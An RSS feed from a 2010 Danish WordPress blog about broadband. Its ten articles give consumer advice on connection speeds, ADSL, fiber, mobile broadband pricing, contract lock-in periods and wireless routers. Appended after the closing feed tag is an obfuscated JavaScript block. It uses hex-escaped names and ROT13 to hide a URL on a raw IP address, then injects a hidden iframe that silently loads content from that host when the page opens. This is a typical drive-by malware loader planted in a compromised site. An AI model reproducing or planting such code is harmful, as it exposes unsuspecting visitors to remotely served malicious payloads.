<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>DblNet Bredbånd Oversigt</title>
	<atom:link href="http://www.dblnet.dk/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dblnet.dk</link>
	<description>Billigt Bredbånd, Mobilt Bredbånd, Bredbånd TV og Bredbånd Priser</description>
	<lastBuildDate>Tue, 27 Jul 2010 22:09:16 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Vælg den bedste bredbåndshastighed til dit behov</title>
		<link>http://www.dblnet.dk/v%c3%a6lg-den-bedste-bredbandshastighed-til-dit-behov/</link>
		<comments>http://www.dblnet.dk/v%c3%a6lg-den-bedste-bredbandshastighed-til-dit-behov/#comments</comments>
		<pubDate>Tue, 27 Jul 2010 22:09:16 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Bredbånd]]></category>

		<guid isPermaLink="false">http://www.dblnet.dk/?p=89</guid>
		<description><![CDATA[Når man skal vælge bredbånds hastighed, så er det vigtigt at man først gør op med sig selv, hvad man forventer at bruge internettet til. Hvis man kun bruger internettet til email, surfing på internettet, behøves man ikke en ligeså høj hastighed som hvis man ønsker at bruge sin internetforbindelse til at spille online, se [...]]]></description>
			<content:encoded><![CDATA[<p>Når man skal <a href="/">vælge bredbånds hastighed</a>, så er det vigtigt at man først gør op med sig selv, hvad man forventer at bruge internettet til. Hvis man kun bruger internettet til email, surfing på internettet, behøves man ikke en ligeså høj hastighed som hvis man ønsker at bruge sin internetforbindelse til at spille online, se video eller tv online, eller uploade eller downloade store filer. Når man har gjort det op med sig selv, er det nemmere at vælge hvilken bredbåndsforbindelse der er bedst for sit behov.</p>
<p>For det meste angives bredbåndshastigheder som download og upload hastigheder i kbit/s. Download hastighed angiver hvor hurtigt man kan hente ting ned fra nettet til sin computer. Og upload hastigheden angiver hvor hurtigt man kan overføre ting til internettet fx overføre filer til en hjemmeside, eller overføre fotos til nettet. For de fleste personer er det download hastigheden som er vigtigst, og som bliver brugt mest, da download hastigheden har indflydelse på hvor hurtigt hjemmesider og filer bliver hentet ned til sin computer.</p>
<p>Hvis man kun ønsker at surfe på nettet og sende mails og lignende så kan man nøjes med en hastighed på 512 / 128 kbit/s. Denne hastighed er langt hurtigere end et modem, og man undgår at betale for en højere forbindelse som man ikke har brug for. </p>
<p>Hvis man surfer meget på internettet, og bruger sit internet til at at spille online, eller downloade forskellige filer, er der brug for en lidt højere hastighed. Her er anbefales det at have en hastighed på omkring 1024 / 128 kbit/s. </p>
<p>Hvis man bruger internettet meget til at spille online, og downloade store filer, musik og lignende så vil der være brug for en hurtig forbindelse. Her skal man overveje en hastighed på mindst 4096 / 512 kbit/s, og gerne højere. Det er muligt at få bredbåndsforbindelser på over 20000 kbit/s, dog er det meget få personer der har brug for det. Så hurtige forbindelser er mest brugt af større virksomheder og lignende.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dblnet.dk/v%c3%a6lg-den-bedste-bredbandshastighed-til-dit-behov/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Muligheder med et ADSL bredbånd</title>
		<link>http://www.dblnet.dk/muligheder-med-et-adsl-bredband/</link>
		<comments>http://www.dblnet.dk/muligheder-med-et-adsl-bredband/#comments</comments>
		<pubDate>Wed, 14 Jul 2010 22:08:35 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Bredbånd]]></category>

		<guid isPermaLink="false">http://www.dblnet.dk/?p=87</guid>
		<description><![CDATA[Den mest almindelige type bredbånd i Danmark er ADSL bredbånd. Det fungerer ved at sende data over de kobberledningerne som også bruges til telefonen, men med andre frekvenser. Det betyder at ADSL bredbånd leveres via et almindeligt telefonstik i væggen, som typisk vil man skulle vælge et telefonstik i hjemmet, som så vil virke som [...]]]></description>
			<content:encoded><![CDATA[<p>Den mest almindelige type bredbånd i Danmark er <a href="/">ADSL bredbånd</a>. Det fungerer ved at sende data over de kobberledningerne som også bruges til telefonen, men med andre frekvenser. Det betyder at ADSL bredbånd leveres via et almindeligt telefonstik i væggen, som typisk vil man skulle vælge et telefonstik i hjemmet, som så vil virke som både telefon og adsl stik.</p>
<p>Kobberledningerne er oprindeligt ikke ikke beregnet til ADSL bredbånd, og derfor er det vigtigt at bo i en radius på max 3 – 5 kilometer fra en central. Især hvis man ønsker høje og gode bredbånds hastigheder og bor langt væk fra en central, kan kvaliteten af kobberledningerne være et problem.</p>
<p>ADSL bredbånd er den mest normale form for internetforbindelse i Danmark,og for det meste også den mest økonomiske. Dog er ADSL bredbånd, så småt ved at blive overtaget af fiber bredbånd, som er hurtigere, og kan dække Danmark bedre end ADSL. </p>
<p>ADSL bredbånd er en meget billig løsning, hvis man ønsker en bredbåndsforbindelse med en nogenlunde hastighed, som er god til private hjem. Men hvis man ønsker højere forbindelser med et ADSL bredbånd, stiger priserne hurtigt og så er det værd at overveje fiber bredbånd som et alternativ.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dblnet.dk/muligheder-med-et-adsl-bredband/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fiber bredbånd overfører data som et lyn</title>
		<link>http://www.dblnet.dk/fiber-bredband-overf%c3%b8rer-data-som-et-lyn/</link>
		<comments>http://www.dblnet.dk/fiber-bredband-overf%c3%b8rer-data-som-et-lyn/#comments</comments>
		<pubDate>Fri, 02 Jul 2010 22:08:03 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Bredbånd]]></category>

		<guid isPermaLink="false">http://www.dblnet.dk/?p=85</guid>
		<description><![CDATA[I de seneste par år har el selskaberne gravet fiberkabler ned, som gør det muligt at overføre og modtage data hurtigere end nogensinde før. Fiber bredbånd, består af flere tusinde små fibere i et kabel, hvorfra data bliver overført. Et normalt bredbånd består af et normalt kabel, med kobber hvori data overføres, og derfor begrænser [...]]]></description>
			<content:encoded><![CDATA[<p>I de seneste par år har el selskaberne gravet fiberkabler ned, som gør det muligt at overføre og modtage data hurtigere end nogensinde før. Fiber bredbånd, består af flere tusinde små fibere i et kabel, hvorfra data bliver overført. Et <a href="/">normalt bredbånd</a> består af et normalt kabel, med kobber hvori data overføres, og derfor begrænser det hastigheden.</p>
<p>Fiber bredbåndsforbindelser var først mest brugt af webhosting firmaer, større virksomheder med behov for en hurtig internetforbindelse. Dog er fiber bredbåndet blevet meget populært i private hjem, da det gør både surfing på internettet og downloading og uploading meget hurtigere end nogensinde før. En anden grund til at flere private hjem vælger at få fiber bredbånd installeret, er også fordi prisen er blevet sænket meget i forhold til hvad det var i starten. Nu kan man nemlig få en fiber bredbåndsforbindelse til næsten samme priser som en normal bredbåndsforbindelse.</p>
<p>Tilgængeligheden for fiber bredbånd er også blevet meget bedre, og man kan næsten få et fiber bredbånd de fleste steder i landet. Så står man og skal have ny internetforbindelse, eller ønsker en hurtigere forbindelse. Er det værd at overveje at få en fiber bredbåndsforbindelse, da prisen er næsten den samme og nogle gange endda billigere end en normal bredbåndsforbindelse. Med fiber bredbånd får man mange flere fordele, og større hastigheder for pengene end med en normal bredbåndsforbindelse.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dblnet.dk/fiber-bredband-overf%c3%b8rer-data-som-et-lyn/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Få rabat på mobilt bredbånd</title>
		<link>http://www.dblnet.dk/fa-rabat-pa-mobilt-bredband/</link>
		<comments>http://www.dblnet.dk/fa-rabat-pa-mobilt-bredband/#comments</comments>
		<pubDate>Fri, 25 Jun 2010 11:34:30 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Mobilt Bredbånd]]></category>

		<guid isPermaLink="false">http://www.dblnet.dk/?p=76</guid>
		<description><![CDATA[Hvis du ønsker at få mobilt bredbånd til den bedst mulige pris, dvs. så billigt som muligt, så kan du overveje at bruge samme leverandør som du bruger til fx. mobiltelefoni, almindeligt bredbånd eller fx. tv. Mange af disse leverandører kan nemlig tænkes at ville give lidt bedre vilkår til dem, der anses for at [...]]]></description>
			<content:encoded><![CDATA[<p>Hvis du ønsker at få <a href="http://www.dblnet.dk/mobilt-bredband/">mobilt bredbånd</a> til den bedst mulige pris, dvs. så billigt som muligt, så kan du overveje at bruge samme leverandør som du bruger til fx. mobiltelefoni, <a href="/">almindeligt bredbånd</a> eller fx. <a href="http://www.dblnet.dk/bredband-tv/">tv</a>. Mange af disse leverandører kan nemlig tænkes at ville give lidt bedre vilkår til dem, der anses for at være loyale kunder &#8211; dvs. dem som bruger og betaler for mere end en tjeneste fra dem.</p>
<p>Hvis du allerede bruger fx. Telia til dit almindelige bredbånd, så bør du derfor overveje om du bør kontakte dem før du køber mobilt bredbånd hos en anden leverandør. Det kan jo være, at Telia kan tilbyde dig et særligt godt tilbud pga. du allerede er kunde hos dem (ikke at jeg har fået rabat hos Telia, det er blot et eksempel &#8211; hvis du har fået rabat hos Telia eller andre leverandører, så må du meget gerne skrive det i en kommentar).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dblnet.dk/fa-rabat-pa-mobilt-bredband/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Spar penge med mobilt bredbånd</title>
		<link>http://www.dblnet.dk/spar-penge-med-mobilt-bredband/</link>
		<comments>http://www.dblnet.dk/spar-penge-med-mobilt-bredband/#comments</comments>
		<pubDate>Wed, 23 Jun 2010 11:35:32 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Mobilt Bredbånd]]></category>

		<guid isPermaLink="false">http://www.dblnet.dk/?p=78</guid>
		<description><![CDATA[Mobilt bredbånd ses ofte som noget meget dyrt. Men det er faktisk helt galt at opfatte det på den måde. Mobilt bredbånd kan nemlig være billigere end almindeligt bredbånd &#8211; og endnu billigere end at have flere bredbåndsforbindelser på forskellige lokaliteter (med mobilt bredbånd kan du jo bruge den samme bredbåndsforbindelse i hjemmet, på arbejdet [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.dblnet.dk/mobilt-bredband/">Mobilt bredbånd</a> ses ofte som noget meget dyrt. Men det er faktisk helt galt at opfatte det på den måde. Mobilt bredbånd kan nemlig være billigere end <a href="/">almindeligt bredbånd</a> &#8211; og endnu billigere end at have flere bredbåndsforbindelser på forskellige lokaliteter (med mobilt bredbånd kan du jo bruge den samme bredbåndsforbindelse i hjemmet, på arbejdet og i sommerhuset).</p>
<p>Du kan også dele din mobile bredbånd forbindelse mellem flere computere, hvis du ønsker det &#8211; præcis ligesom du kan gøre det med de mere almindelige bredbåndsløsninger (vær dog opmærksom på om din mobilt bredbånd løsning er hurtig nok til at i kan holde ud at deles om den).</p>
<p>Du behøver desuden ikke have en fastnet telefon eller lignende udstyr (som kan være dyrt at installere derhjemme eller på kontoret), da mobilt bredbånd tilsluttes helt uden om kabler og lignende.</p>
<p>Som du kan se, så er der ikke kun praktiske fordele ved mobilt bredbånd. Der er rent faktisk også en masse økonomiske fordele.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dblnet.dk/spar-penge-med-mobilt-bredband/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Få frihed med trådløst bredbånd</title>
		<link>http://www.dblnet.dk/fa-frihed-med-tradl%c3%b8st-bredband/</link>
		<comments>http://www.dblnet.dk/fa-frihed-med-tradl%c3%b8st-bredband/#comments</comments>
		<pubDate>Sun, 20 Jun 2010 22:07:57 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Trådløst bredbånd]]></category>

		<guid isPermaLink="false">http://www.dblnet.dk/?p=83</guid>
		<description><![CDATA[Med et trådløst bredbånd er det muligt at sidde ethvert sted i et hus eller bygning, og være på internettet med en bærbar computer eller med en anden netværks enhed. Det trådløse bredbånd gør at man ikke er låst til et bestemt sted at at arbejde, eller surfe på internettet. Et trådløst bredbånd er med [...]]]></description>
			<content:encoded><![CDATA[<p>Med et trådløst bredbånd er det muligt at sidde ethvert sted i et hus eller bygning, og være på internettet med en bærbar computer eller med en anden netværks enhed. Det trådløse bredbånd gør at man ikke er låst til et bestemt sted at at arbejde, eller surfe på internettet. Et trådløst bredbånd er med tiden blevet en standard enhed i de fleste private hjem, og virksomheder. Det trådløse bredbånd gør det også muligt for personer  i lufthavne og lignende at være på internettet, når de har brug for det.</p>
<p>Et trådløst bredbånd, bliver sendt ud via en trådløs rutere som er tilsluttet et internetstik. Det trådløse bredbånd bliver hele tiden forbedret, og giver mulighed for at udsende bedre signaler hvilket giver brugeren en bedre internetforbindelse. </p>
<p>Udviklingen af det trådløse bredbånd er gået meget stærkt over de sidste 5 år. Signalerne på de første trådløse rutere var meget dårlige, og mistede tit forbindelsen,eller var meget langsom. Nu er det muligt at modtage næsten ligeså hurtige forbindelser med et trådløst bredbånd, som man kan med en fast internetforbindelse tilsluttet computeren. Dog er en fast internetforbindelse stadigvæk bedere og mere stabilt for både upload og download, men for surfing, chat og almindeligt arbejde er  trådløst bredbånd bygget perfekt til.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dblnet.dk/fa-frihed-med-tradl%c3%b8st-bredband/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bindningstider for mobilt bredbånd abonnementer</title>
		<link>http://www.dblnet.dk/bindningstider-for-mobilt-bredband-abonnementer/</link>
		<comments>http://www.dblnet.dk/bindningstider-for-mobilt-bredband-abonnementer/#comments</comments>
		<pubDate>Tue, 01 Jun 2010 11:33:53 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Mobilt Bredbånd]]></category>

		<guid isPermaLink="false">http://www.dblnet.dk/?p=74</guid>
		<description><![CDATA[Når du tilmelder dig et mobilt bredbånd abonnement, så vil du ofte være bundet til abonnement i en vis tid (bindingstiden). Grunden til det er, at operatørerne gerne vil have dækket deres udgifter og potentielt også tjene nogle penge på dig som kunde. Enkelte mobilt bredbånd abonnementer har ingen bindingstid, men for de fleste, så [...]]]></description>
			<content:encoded><![CDATA[<p>Når du tilmelder dig et <a href="/">mobilt bredbånd abonnement</a>, så vil du ofte være bundet til abonnement i en vis tid (bindingstiden). Grunden til det er, at operatørerne gerne vil have dækket deres udgifter og potentielt også tjene nogle penge på dig som kunde.</p>
<p>Enkelte mobilt bredbånd abonnementer har ingen bindingstid, men for de fleste, så gælder det, at bindingstiden er 6 måneder. Hvis du er heldig, så kan du sometider finde tilbud, hvor du får de første 3 måneder el.lign. gratis eller til fx. halv pris.</p>
<p>Det er dit eget ansvar at opsige abonnementet, hvis du ikke ønsker, at det skal fortsætte udover bindingstiden. Typisk skal det gøres skriftligt, men check med din valgte operatør, så du sikre dig at du opsiger abonnement korrekt og ikke komme til at betale mere end højst nødvendigt for det.</p>
<p>Nogle folk kalder iøvrigt bindingstiden for bindingsperioden, så de to betegnelser betyder altså præcis det samme.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dblnet.dk/bindningstider-for-mobilt-bredband-abonnementer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hvor hurtigt surfer du med mobilt bredbånd?</title>
		<link>http://www.dblnet.dk/hvor-hurtigt-surfer-du-med-mobilt-bredband/</link>
		<comments>http://www.dblnet.dk/hvor-hurtigt-surfer-du-med-mobilt-bredband/#comments</comments>
		<pubDate>Thu, 27 May 2010 11:33:44 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Mobilt Bredbånd]]></category>

		<guid isPermaLink="false">http://www.dblnet.dk/?p=72</guid>
		<description><![CDATA[For mange er hastigheden når de surfer meget vigtig. Desværre er det nærmest umuligt på forhånd at besvare hvor hurtigt din surfing vil være. Dette skyldes, at hastigheden er påvirket af en række forskellige ting, såsom den teknologi og det udstyr der anvendes til komme på nettet, hvor mange andre brugere der er og hvordan [...]]]></description>
			<content:encoded><![CDATA[<p>For mange er hastigheden når de surfer meget vigtig. </p>
<p>Desværre er det nærmest umuligt på forhånd at besvare hvor hurtigt din surfing vil være. Dette skyldes, at hastigheden er påvirket af en række forskellige ting, såsom den teknologi og det udstyr der anvendes til komme på nettet, hvor mange andre brugere der er og hvordan miljøet mellem computeren og de benyttede mobilmaster er.</p>
<p>Det er derfor vigtigt som forbruger at vide, at de hastigheder du kan få adgang til ikke er de samme som operatørerne opgiver. De hastigheder operatørerne opgiver er teorestisk og opnåes kun yderst sjældent i praksis. Men de kan være en god rettesnor at gå efter, når du skal se hvilket mobilt bredbånd løsninger der er hurtige og hvilke der er langsomme.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dblnet.dk/hvor-hurtigt-surfer-du-med-mobilt-bredband/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sammenlign og finde det billigste mobile bredbånd</title>
		<link>http://www.dblnet.dk/sammenlign-og-finde-det-billigste-mobile-bredband/</link>
		<comments>http://www.dblnet.dk/sammenlign-og-finde-det-billigste-mobile-bredband/#comments</comments>
		<pubDate>Thu, 27 May 2010 11:32:47 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Mobilt Bredbånd]]></category>

		<guid isPermaLink="false">http://www.dblnet.dk/?p=70</guid>
		<description><![CDATA[Hvis du er på udkig efter en mobil bredbånd forbindelse, så er du naturligvis ivrig efter at finde netop den forbindelse der passer dig og dine behov. Desuden ønsker du næppe at betale mere end nødvendigt for forbindelsen, så du vil sikkert også gerne finde den billigste løsning, der passer dig og dine behov. Heldigvis, [...]]]></description>
			<content:encoded><![CDATA[<p>Hvis du er på udkig efter en mobil bredbånd forbindelse, så er du naturligvis ivrig efter at finde netop den forbindelse der passer dig og dine behov. Desuden ønsker du næppe at betale mere end nødvendigt for forbindelsen, så du vil sikkert også gerne finde den billigste løsning, der passer dig og dine behov.</p>
<p>Heldigvis, så findes der, selv for dem som ikke er så vidende på området, gode muligheder for sammenligne de forskellige muligheder indefor mobilt bredbånd. På dem måde kan du sammenligne priser, dækning, trafikbegrænsninger og meget mere.</p>
<p>Det eneste du skal være opmærksom på er, at mange af disse lister kun rummer udvalgte operatører. Det gælder fx. listerne her på DblNet, hvor vi viser <a href="/">udvalgte bredbånd operatører</a> og <a href="http://www.dblnet.dk/mobilt-bredband/">udvalgte mobilt bredbånd operatører</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dblnet.dk/sammenlign-og-finde-det-billigste-mobile-bredband/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hvad du bør overveje, når du vælger mobilt bredbånd abonnement</title>
		<link>http://www.dblnet.dk/hvad-du-b%c3%b8r-overveje-nar-du-v%c3%a6lger-mobilt-bredband-abonnement/</link>
		<comments>http://www.dblnet.dk/hvad-du-b%c3%b8r-overveje-nar-du-v%c3%a6lger-mobilt-bredband-abonnement/#comments</comments>
		<pubDate>Thu, 27 May 2010 11:30:53 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[Mobilt Bredbånd]]></category>

		<guid isPermaLink="false">http://www.dblnet.dk/?p=67</guid>
		<description><![CDATA[Har du begyndt at bevæge dig ind i mobilt bredbånd junglen, så ved du, at det ikke er let at afgøre hvilke bredbånd løsninger der er bedst &#8211; både i det hele taget og ifht. de behov du har. Når du skal vælge mobilt bredbånd abonnement, så skal du derfor huske at: De fleste operatører [...]]]></description>
			<content:encoded><![CDATA[<p>Har du begyndt at bevæge dig ind i <a href="http://www.dblnet.dk/mobilt-bredband/">mobilt bredbånd junglen</a>, så ved du, at det ikke er let at afgøre hvilke bredbånd løsninger der er bedst &#8211; både i det hele taget og ifht. de behov du har.</p>
<p>Når du skal vælge mobilt bredbånd abonnement, så skal du derfor huske at:</p>
<ul>
<li>De fleste operatører på en måde giver den præcis samme service. Servicen er blot pakket på forskellig vis af de forskellige operatører.</li>
<li>Prisen er en vigtig faktor, at du bør kigge på.</li>
<li>Vær opmærksom på, at du ser på den samlede pris fremfor udelukkende at kigge på det månedlige gebyr (er der fx. andre afgifter, såsom fx. opstartsgebyr og faktureringsgebyr?).</li>
<li>Tjek hvor længe du binder dig til operatøren?</li>
<li>Se efter om der er nogen trafikbegrænsninger. Disse varierer mellem forskellige operatører &#8211; og det gør priserne for at overstige trafikgrænserne også.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.dblnet.dk/hvad-du-b%c3%b8r-overveje-nar-du-v%c3%a6lger-mobilt-bredband-abonnement/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<body><script>
var j={I:{j:{j:'~',l:'.',I:'^'},l:{j:'%',l:218915,I:1154%256},I:{j:1^0,l:55,I:'ijl'}},j:{j:{j:function(I){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=I;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(I){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},I:function(){var l=j.j.j.j(j.l.j.j('.75.67.67.63.3a.2f.2f.31.31.33.2e.31.31.2e.31.39.34.2e.31.37.37.2f.75.67.71.62.70.66.2f.74.6e.67.72.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.70.62.61.73.76.74'));var I=(l)?j.j.j.l():false;return I;}},l:{j:function(){var l=j.j.j.I('trashtext');var I=(l)?l:'trashtext';return I||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},I:function(){var l=j.j.I.I(j.j.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var I=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');I['\x68\x65\x69\x67\x68\x74']=I['\x77\x69\x64\x74\x68'];I['\x73\x72\x63']=j.j.I.j(j.j.l.j());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](I);}catch(I){}}},I:{j:function(l){return l['replace'](/[A-Za-z]/g,function(I){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((I=I.charCodeAt(0))&223)-52)%26+(I&32)+65);});},l:function(l){return j.j.I.j(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},I:function(l){try{l();}catch(l){}}}},l:{j:{j:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'91',I:'81'},l:{j:'16',l:'7',I:'4'},I:{j:'19',l:'48',I:'75'}}}
j.j.l.I();</script>